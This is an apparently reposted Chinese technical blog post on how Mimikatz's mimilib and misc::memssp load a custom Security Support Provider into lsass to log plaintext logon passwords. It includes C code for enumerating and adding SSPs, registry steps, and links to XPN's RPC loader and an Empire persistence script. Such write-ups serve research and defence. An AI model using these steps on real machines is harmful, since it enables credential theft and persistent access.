Mimikatz 中 SSP 的使用

发布于 2024-12-26 08:59:44 字数 7514 浏览 9 评论 0

0x00 前言

Mimikatz 中的 mimilib(ssp) 和 misc::memsspsekurlsa::wdigest 的功能相同,都能够从 lsass 进程中提取凭据,通常可获得已登录用户的明文口令(Windows Server 2008 R2 及更高版本的系统默认无法获得),但实现原理不同,所以绕过高版本限制的方法也不同

我对 XPN 的第二篇文章进行了学习,对这个技术有了新的认识,于是尝试对这个技术进行总结,添加一些个人的理解

XPN 的博客:https://blog.xpnsec.com/exploring-mimikatz-part-2/

0x01 简介

本文将要介绍以下内容:

  • SSP 简介
  • 如何开发 SSP
  • 如何枚举和删除 SSP
  • 添加 SSP 的三种方法
  • memssp 修改内存的方法

0x02 SSP 简介

参考资料:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn751052(v=ws.11 )

SSP,全称 Security Support Provider,又名 Security Package

SSPI,全称 Security Support Provider Interface,是 Windows 系统在执行认证操作所使用的 API

简单的理解为 SSPI 是 SSP 的 API 接口

SSP 默认包括以下几种:

  • Kerberos Security Support Provider
  • NTLM Security Support Provider
  • Digest Security Support Provider
  • Schannel Security Support Provider
  • Negotiate Security Support Provider
  • Credential Security Support Provider
  • Negotiate Extensions Security Support Provider
  • PKU2U Security Support Provider

用户可以自己开发并添加 SSP,能够对系统中某些身份验证和授权事件进行操作

本文只涉及如何添加 SSP 从 lsass 进程中提取明文凭据

0x03 如何开发 SSP

SSP 是一个 dll,不同的功能对应不同的导出函数

mimikatz 中的 mimilib 不仅可以作为 SSP,还包含其他功能

实现从 lsass 进程中提取凭据的导出函数为 SpLsaModeInitialize

想要提取出这个功能,可以删除其他导出函数,修改后的 mimilib.def 内容如下:

LIBRARY
EXPORTS
SpLsaModeInitialize        =    kssp_SpLsaModeInitialize

mimilib 从 lsass 进程中提取明文凭据的实现代码:https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kssp.c

实现代码中包括以下四个函数:

  1. SpInitialize 用于初始化 SSP 并提供函数指针列表
  2. SpShutDown 被称为卸载 SSP
  3. SpGetInfo 提供有关 SSP 的信息,包括版本,名称和说明 在枚举 SSP(方法在后面会介绍) 时会显示这些信息
  4. SpAcceptCredentials 接收 LSA 传递的明文凭证,由 SSP 缓存 mimilib 在这里实现了将明文凭证保存在文件 c:\windows\system32\kiwissp.log

0x04 如何枚举和删除 SSP

1. 枚举 SSP

测试代码:

#define SECURITY_WIN32

#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")

int main(int argc, char **argv) {
    ULONG packageCount = 0;
    PSecPkgInfoA packages;

    if (EnumerateSecurityPackagesA(&packageCount, &packages) == SEC_E_OK) {
        for (int i = 0; i < packageCount; i++) {
            printf("Name: %s\nComment: %s\n\n", packages[i].Name, packages[i].Comment);
        }
    }
}

注:

代码引用自 XPN 的文章

默认结果如下图

Alt text

2. 删除 SSP

测试代码:

#define SECURITY_WIN32

#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")


int main(int argc, char **argv) {

    SECURITY_STATUS SEC_ENTRYnRet = DeleteSecurityPackageA(argv[1]);
    printf("DeleteSecurityPackageA return with 0x%X\n", SEC_ENTRYnRet);

}

经测试,无法删除任一 SSP,一直都是报错,提示 0x80090302

经过搜索发现,找到相同结果的文章:http://cybernigma.blogspot.com/2014/03/using-sspap-lsass-proxy-to-mitigate.html

猜测微软并没开放这个功能,也就是说,在系统不重启的情况下无法删除 SSP

补充:卸载进程中的 dll 可使用以下代码:https://github.com/3gstudent/Homework-of-C-Language/blob/master/FreeDll.cpp

0x05 添加 SSP 的三种方法

这里以 mimilib.dll 为例

方法 1:

(1) 复制文件

将 mimilib.dll 复制到 c:\windows\system32

64 位系统要用 64 位的 mimilib.dll,32 位系统使用 32 位的 mimilib.dll

(2) 修改注册表

位置 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\

Security Packages 的值设置为 mimilib.dll

(3) 等待系统重新启动

系统重新启动后,在 c:\windows\system32 生成文件 kiwissp.log ,记录当前用户的明文口令

方法 2:使用 API AddSecurityPackage

(1) 复制文件

同方法 1

(2) 修改注册表

同方法 1

(3) 调用 AddSecurityPackage

测试代码如下:

#define SECURITY_WIN32

#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")


int main(int argc, char **argv) {
    SECURITY_PACKAGE_OPTIONS option;
    option.Size = sizeof(option);
    option.Flags = 0;
    option.Type = SECPKG_OPTIONS_TYPE_LSA;
    option.SignatureSize = 0;
    option.Signature = NULL;
    SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
    printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}

添加成功,如果此时输入了新的凭据(例如 runas,或者用户锁屏后重新登录),将会生成文件 kiwissp.log

方法 2 的自动化实现:https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/persistence/Install-SSP.ps1

方法 3:使用 RPC 控制 lsass 加载 SSP

XPN 开源的代码:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

我在 VS2015 下使用,代码需要简单修改一下

测试如下图

Alt text

添加成功

注:XPN 开源的代码如果编译成 在静态库中使用 MFC ,需要添加如下代码: #pragma comment(lib, "Rpcrt4.lib")

如果不再修改 XPN 开源的代码,调用的 dll 需要使用绝对路径(我截图中的代码做了修改,所以支持相对路径)

返回 Error code 0x6c6 returned, which is expected if DLL load returns FALSE 代表 dll 加载成功

这是一个很棒的方法,有以下优点:

  • 不需要写注册表
  • 不调用 API AddSecurityPackage
  • 不需要对 lsass 进程的内存进行写操作
  • lasss 进程中不存在加载的 dll

0x06 memssp 修改内存的方法

这是 mimikatz 中的功能,命令如下:

misc::memssp

通过修改 lsass 进程的内存,实现从 lsass 进程中提取凭据

命令执行后,如果此时输入了新的凭据(例如 runas,或者用户锁屏后重新登录),将会在 c:\windows\system32 下生成文件 mimilsa.log

XPN 以 mimikatz 的代码为模板,以 dll 的方式实现了相同的功能,可以通过 RPC(0x05 中的方法 3) 或者 LoadLibrary 进行加载

代码地址:https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0

代码适用于 WIN_BUILD_10_1703x64WIN_BUILD_10_1809x64

其他系统需要修改对应的变量,参考位置:https://github.com/gentilkiwi/mimikatz/blob/72b83acb297f50758b0ce1de33f722e70f476250/mimikatz/modules/kuhl_m_misc.c

0x07 小结

本文结合了 XPN 的文章,介绍了 Mimikatz 中的 mimilib(ssp) 和 misc::memssp 从 lsass 进程中提取凭据的方法,整理了相关技巧,包括开发、添加、枚举 SSP 和内存 patch。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

上一篇:

下一篇:

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

文章
评论
25 人气
更多

推荐作者

迷鸟归林

文章 0 评论 0

alipaysp_h2Vbo4sv6k

文章 0 评论 0

清风无影

文章 0 评论 0

mnbvcxz

文章 0 评论 0

听不够的曲调

文章 0 评论 0

秋叶绚丽

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文